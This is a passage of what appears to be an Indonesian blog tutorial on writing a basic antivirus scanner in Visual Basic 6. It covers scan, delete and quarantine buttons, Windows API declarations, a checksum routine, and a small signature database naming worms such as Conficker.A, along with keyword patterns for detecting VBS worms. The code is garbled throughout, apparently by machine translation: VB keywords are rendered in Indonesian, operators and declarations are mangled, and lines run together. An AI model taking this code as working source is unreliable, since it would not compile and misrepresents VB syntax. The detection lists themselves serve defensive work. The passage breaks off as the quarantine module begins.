<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdScan</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Scan</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Jika cmdScan.Caption = "Pindai" Lalu<br />Pathnya = txtPath.Text<br />Jika Mid (Pathnya, 2, 1) <> ":" Atau Pathnya = "" Lalu<br />MsgBox "Direktori Tidak Ditemukan", vbCritical, "Error"<br />Exit Sub<br />Lain<br />lvScan.Enabled = False<br />cmdEnable False, False, False<br />clear_log<br />cmdScan.Caption = "Stop"<br />StopScan = False<br />FindFilesEx txtPath.Text, CBool (chkSubDir.Value)<br />MsgBox "Pindai selesai!" & VbNewLine & vbNewLine & "Total Dir discan =" & lblDirScan.Caption & _<br />"File total scan =" & vbNewLine & lblFileScan.Caption & vbNewLine & "File Terdeteksi Total =" & lblFileDet.Caption, vbInformation, "Finish"<br />Jika lblFileDet Caption <.> "0" Lalu<br />cmdEnable Benar, Benar, Benar<br />Lain<br />cmdEnable Salah, Salah, Benar<br />End If<br />lvScan.Enabled = True<br />cmdScan.Caption = "Scan"<br />End If<br />Lain<br />cmdScan.Caption = "Scan"<br />StopScan = True<br />End If<br /></span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Fungsi Kode di Atas adalah UNTUK memulai memindai PADA antivirus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdAction</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Hapus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdAction</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Karantina</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdViewQ</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Lihat Karantina Berkas</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdAction</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Hapus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Kode ini di dalamnya</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Dim As String DftrFile<br />DftrFile = GetSelected (lvScan)<br />Jika DftrFile = "" Lalu<br />MsgBox "Tidak Ada File Terdeteksi (s) Terpilih", vbCritical, ""<br />Exit Sub<br />End If<br />Select Case Index<br />Case 0<br />bersih = Aksi (DftrFile, lvScan , "D")<br />MsgBox bersih & "File (s) telah dihapus"<br />Kasus 1<br />bersih = Aksi (DftrFile, lvScan, "Q")<br />MsgBox bersih & "File (s) telah dikarantina"<br />End Select<br /></span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Fungsi Fungsi adalah di Atas UNTUK Menghapus / mengkarantina file yang terdeteksi Yang</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdAction</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Karantina</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Command Button DENGAN Nama cmdViewQ</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: & Lihat Karantina Berkas</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Lalu Masukan kode ini ke dalamnya</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Me.hide<br />frmquarantine.show<br /></span></span></div>
</div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br />Kode di Atas berfungsi UNTUK memunculkan bentuk karantina murah diaktifkan meng bentuk Utama nah Selesai UNTUK memasukan kontrol ke formnya Dalam, contoh bentuk Yang Telah Selesai.<br /><br /><br /><br /></span></span><div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2bzgJ5IRH6zWq76BlH6eFWhp5Ot6UK14Zsp0U675koolW6GA-UoV1w7Z7N4sxYLaiBktba_qqx5aytuHjAomrnStGrInZOPDEkrlcIxqlIuBNVSTdu5oFv9fKtv43w0H-xiKaeqaxqcg6/s1600/udah.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2bzgJ5IRH6zWq76BlH6eFWhp5Ot6UK14Zsp0U675koolW6GA-UoV1w7Z7N4sxYLaiBktba_qqx5aytuHjAomrnStGrInZOPDEkrlcIxqlIuBNVSTdu5oFv9fKtv43w0H-xiKaeqaxqcg6/s400/udah.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /><br />PADA hari lalu klik Kanan bentuk Masukan Kode di bawah ini</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">/ Kode:<br />Private Sub lvScan_ItemCheck (Item ByVal Sebagai MSComctlLib.ListItem)<br />hapuskan tanda lvScan, "Di Karantina"<br />hapuskan tanda lvScan, "Di Hapus"<br />End Sub Function Swasta cmdEnable (hapus Sebagai Boolean, Karantina Sebagai Boolean, openQuarantine Sebagai Boolean)cmdAction (0) Diaktifkan =. hapus cmdAction (1). Diaktifkan = Karantina cmdViewQ.Enabled = openQuarantine End Function Function clear_log Swasta () lblDirScan.Caption = 0 lblFileScan.Caption = 0 lblFileDet.Caption = 0 lvScan.ListItems.Clear jumlahDir = 0jumlahFile = 0 jumlahVirus = 0 End Function<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">hari lalu di Form_Load () Masukan Kode ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />On Error Resume Next<br />mkdir "Karantina"<br />BuildDatabase<br /></span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Lalu buatlah 1 modul DENGAN Nama modAPI</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Lalu Tambahkan kode di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">'Kode: </span><br /><span class="">Public Declare Function Lib FindFirstFile "kernel32" Alias "FindFirstFileA" (ByVal As String lpFileName, lpFindFileData Sebagai WIN32_FIND_DATA) As Long </span><br /><span class="">Public Declare Function Lib FindNextFile "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData Sebagai WIN32_FIND_DATA) Sebagai Panjang </span><br /><span class="">Umum Declare Function Lib FindClose "kernel32" (ByVal hFindFile As Long) As Long </span><br /><span class="">Declare Publik Fungsi PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long </span><br /><span class="">Public Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal As String lpExistingFileName, lpNewFileName ByVal As String, ByVal As Long bFailIfExists) As Long </span><br /><span class="">Declare Publik Fungsi MoveFile Lib "kernel32.dll" Alias "MoveFileA" (ByVal As String lpExistingFileName, lpNewFileName ByVal As String) As Long </span><br /><span class="">Public Declare Fungsi DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long </span><br /><span class="">Declare Publik PathFileExists Fungsi Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long </span><br /><span class="">Public Declare Function Lib GetSystemDirectory "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal As Long nUkuran) As Long </span><br /><span class="">Public Declare Function Lib GetWindowsDirectory "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal As Long nUkuran) As Long </span><br /><span class="">Declare SHGetPathFromIDList Lib Publik Fungsi " shell32.dll "Alias" SHGetPathFromIDListA "(ByVal pidl As Long, ByVal pszPath As String) As Long </span><br /><span class="">Public Declare Function Lib SHBrowseForFolder "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo Sebagai BROWSEINFO) As Long </span><br /><span class="">Declare Function RealizePalette Pribadi Lib "gdi32" (ByVal hdc As Long) As Long </span><br /><span class="">Declare Publik Fungsi CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal As String lpFileName, dwDesiredAccess ByVal As Long, ByVal As Long dwShareMode, lpSecurityAttributes Sebagai Any, ByVal As Long dwCreationDisposition, dwFlagsAndAttributes ByVal As Long, hTemplateFile ByVal As Long) As Long </span><br /><span class="">Public Declare Function Lib CloseHandle "kernel32" (ByVal hObject As Long) As Long </span><br /><span class="">Public Declare Function Lib GetFileSize "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long </span><br /><span class="">Public Declare Function VirtualAlloc Lib "kernel32 "(lpAddress Seperti apapun, ByVal dwSize As Long, ByVal As Long flAllocationType, flProtect ByVal As Long) As Long </span><br /><span class="">Public Declare Function Lib ReadFile "kernel32" (ByVal hFile As Long, lpBuffer Sebagai Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped Sebagai Setiap) As Long</span><br /><span class="">Public Declare Function Lib WriteFile "kernel32" (ByVal hFile As Long, lpBuffer Sebagai Any, ByVal As Long nNumberOfBytesToWrite, lpNumberOfBytesWritten As Long, lpOverlapped Sebagai Setiap) As Long </span><br /><span class="">Public Declare Function Lib SetFilePointer "kernel32" (ByVal hFile As Long, lDistanceToMove ByVal As Long, lpDistanceToMoveHigh As Long, dwMoveMethod ByVal As Long) As Long</span><br /><span class="">Public Declare Function SetEndOfFile Lib "kernel32" (ByVal hFile As Long) As Long </span><span class="">GENERIC_READ Const Publik = & H80000000 </span><span class="">Public Const GENERIC_WRITE = & H40000000 </span><span class="">Public Const FILE_SHARE_READ = & H1 </span><span class="">Const Publik OPEN_EXISTING = 3 </span><span class="">Public Const FILE_ATTRIBUTE_NORMAL = & H80 </span><span class="">Public Const INVALID_HANDLE_VALUE = -1 </span><span class="">Public Const FILE_END = 2 </span><span class="">Public Const FILE_BEGIN = 0 </span><span class="">Public Const FILE_CURRENT = 1 </span><span class="">Const Publik LWA_COLORKEY = & H1 </span><span class="">Public Const GWL_EXSTYLE = (-20) </span><span class="">Const Publik WS_EX_LAYERED = & H80000</span><span class="">Public const MAX_PATH = 260 </span><span class="">Public Const SW_SHOWNORMAL = 1 </span><span class="">Tipe FileTime Publik </span><span class="">dwLowDateTime As Long </span><span class="">As Long dwHighDateTime</span><span class="">Akhir Tipe </span><span class="">Tipe WIN32_FIND_DATA Publik </span><span class="">dwFileAttributes As Long</span><span class="">ftCreationTime Sebagai FileTime </span><span class="">ftLastAccessTime Sebagai FileTime</span><span class="">ftLastWriteTime Sebagai FileTime </span><span class="">nFileSizeHigh As Long </span><span class="">As Long nFileSizeLow </span><span class="">dwReserved0 As Long </span><span class="">As Long dwReserved1 </span><span class="">cFileName As String * MAX_PATH </span><span class="">cAlternate As String * 14 </span><span class="">End Type </span><span class="">Tipe BROWSEINFO </span><span class="">hOwner As Long </span><span class="">As Long pidlRoot </span><span class="">pszDisplayName As String </span><span class="">As String lpszTitle </span><span class="">ulFlags As Long </span><span class="">As Long lpfn </span><span class="">lParam As Long </span><span class="">As Long iImage </span><span class="">End Type </span><span class="">'folder browsing UNTUK </span><span class="">BrowseFolder Public Function (aTitle ByVal As String, ByVal aForm Sebagai Form) As String </span><span class="">Dim bInfo BROWSEINFO </span><span class="">& Dim RTN, pidl &, jalan $, pos% </span><span class="">Dim BrowsePath As String </span><span class="">= bInfo.hOwner aForm.hWnd</span><span class="">bInfo.lpszTitle = aTitle </span><span class="">bInfo.ulFlags = & H1 </span><span class="">pidl & = SHBrowseForFolder (bInfo) </span><span class="">path = Ruang (512) </span><span class="">t = SHGetPathFromIDList (ByVal pidl &, jalan ByVal) </span><span class="">pos% = InStr (path $, Chr $ (0)) </span><span class="">BrowseFolder = Left (path $, pos - 1) </span><span class="">Jika Hak $ (People, 1) = "\ "Lalu </span><span class="">BrowseFolder = BrowseFolder </span><span class="">Lain</span><span class="">BrowseFolder = BrowseFolder + "\" </span><span class="">End If </span><span class="">Jika Kanan (BrowseFolder, 2) = "\ \" Lalu BrowseFolder = Kiri (BrowseFolder, Len (BrowseFolder) - 1) </span><span class="">Jika BrowseFolder = "\ BrowseFolder" Lalu = "" </span><span class="">End Function </span><span class="">Public Function StripNulls (OriginalStr ByVal As String) As String </span><span class="">Jika (InStr (OriginalStr, Chr $ (0))> 0) Kemudian </span><span class="">OriginalStr = Left $ (OriginalStr, InStr (OriginalStr, Chr (0)) - 1) </span><span class="">End If </span><span class="">StripNulls = OriginalStr </span><span class="">End Function</span><span class="">'Fungsi UNTUK menentukan file script atau Bukan </span><span class="">Publik Fungsi IsScript (Filename As String) Sebagai Boolean </span><span class="">= False IsScript</span><span class="">ext = split ("| vbs | VBE", "|") </span><span class="">Untuk i = 1 Untuk UBound ( ext)</span><span class="">Jika lcase (Kanan (Filename, 3)) = lcase (ext (i)) Kemudian IsScript = True </span><span class="">Berikutnya </span><span class="">End Function</span><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas Fungsi API adalah Yang di butuhkan UNTUK antivirus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Buat 1 modul DENGAN Nama modChecksum</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode di bawah ini.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Fungsi GetChecksum Umum (FilePath As String) As String<br />Dim CheckSum (1 Untuk 2) As String<br />CheckSum (1) = CalcBinary (FilePath, 499, 4500)<br />CheckSum (2) = CalcBinary (FilePath, 499, 4000)<br />GetChecksum = CheckSum (1) & CheckSum (2)<br />End Function<br />Fungsi CalcBinary Publik (lpFileName ByVal As String, ByVal lpByteCount As Long, ByVal StartByte Opsional As Long = 0) As String<br />On Error GoTo err<br />Dim Bin () As Byte<br />Dim As Long ByteSum<br />Dim i As Long<br />ReDim Bin (lpByteCount) As Byte<br />lpFileName Terbuka Untuk Biner Sebagai # 1<br />Jika StartByte = 0 Then<br />Dapatkan # 1,, Bin<br />Lain<br />Dapatkan # 1, StartByte, Bin<br />End If<br />Close # 1<br />Untuk i = 0 Untuk lpByteCount<br />ByteSum = ByteSum + Bin (i) ^ 2<br />Next i<br />CalcBinary = Hex $ (ByteSum)<br />Fungsi Keluar<br />err:<br />CalcBinary = "00"<br />End Function<br /></span></span></div>
</div>
</div>
<div>
<span class="" style="background-color: black; color: white;">potongan kode di Atas di gunakan UNTUK meng kalkulasi checksum</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">buat 1 modul lagi DENGAN Nama modDatabase</span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan kode di hari lalu bawah ini.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Publik VirusDB (5), IconDB (48), Bahaya (5) As String<br />Sub BuildDatabase Publik ()<br />Panggil Checksum_DB<br />IconCompare_DB Panggilan<br />Panggilan Script_DB<br />End Sub<br />Private Sub Checksum_DB ()<br />VirusDB (1) = "Alman.A | 8911D290F723"<br />VirusDB (2) = "Malingsi.A | A6292EA60230"<br />VirusDB (3) = "Conficker.A | 9EC112ABB2F3"<br />VirusDB (4) = "N4B3.A | B5CCD36CDB98"<br />VirusDB (5) = "N4B3.B | A1FE6D6DBE07"<br />End Sub<br />Public Sub IconCompare_DB ()<br />On Error Resume Next<br />IconDB (1) = "20938B2"<br />IconDB (2) = "19F4ED6"<br />IconDB (3) = "133BE0B"<br />IconDB (4) = "18EDEAE"<br />IconDB (5) = "1EF89C2"<br />IconDB (6) = "1C915FF"<br />IconDB (7) = "24563C4"<br />IconDB (8) = "1B2DB74"<br />IconDB (9) = "208EA72"<br />IconDB (10) = "22A064D"<br />IconDB (11) = "19B64EE"<br />IconDB (12 ) = "1D4B7E1"<br />IconDB (13) = "2087762"<br />IconDB (14) = "29C7258"<br />IconDB (15) = "1B18705"<br />IconDB (16) = "1B5FCAB"<br />IconDB (17) = "126D4CF"<br />IconDB (18) = "1C58E5C"<br />IconDB (19) = "15D7730"<br />IconDB (20) = "1FB82B7"<br />IconDB (21) = "112763E"<br />IconDB (22) = "2165AF9"<br />IconDB (23) = "25F46BE"<br />IconDB (24) = "206556B "<br />IconDB (25) = "22A8D69"<br />IconDB (26) = "19237F8"<br />IconDB (27) = "15022B4"<br />IconDB (28) = "1D8B4EB"<br />IconDB (29) = "1DBC1EA"<br />IconDB (30) = "2333F5D"<br />IconDB (31) = "1F37C2F"<br />IconDB (32) = "1C9CCA4"<br />IconDB (33) = "1DFDFB4"<br />IconDB (34) = "1C1283E"<br />IconDB (35) = "1F6598C"<br />IconDB (36) = "27F4C1A"<br />IconDB (37 ) = "22F92E0"<br />IconDB (38) = "191DBDC"<br />IconDB (39) = "27BFE4A"<br />IconDB (40) = "20E0907"<br />IconDB (46) = "2FA4C88"<br />IconDB (47) = "25AA630"<br />IconDB (48) = "1DE28E2"<br />End Sub<br />Public Sub Script_DB ()<br />On Error Resume Next<br />Bahaya (1) = "Scripting.FileSystemObject | Wscript.ScriptFullName | WScript.Shell |. regwrite |. salin"<br />Bahaya (2) = "Wscript.ScriptFullName | CreateObject | strreverse |. regwrite "<br />Bahaya (3) = "CreateObject | Wscript.ScriptFullName | regwrite |. [autorun]"<br />Bahaya (4) = "CreateObject | Wscript.ScriptFullName | specialfolder |. regwrite"<br />Bahaya (5) = "chr (asc (pertengahan (| CreateObject | Wscript.ScriptFullName |. GetFolder |. RegWrite "<br />End Sub<br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">potongan kode di Atas adalah database yang PADA antivirusnya</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">buat lagi 1 buah modul DENGAN Nama modQuar</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode di bawah Yang ada ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
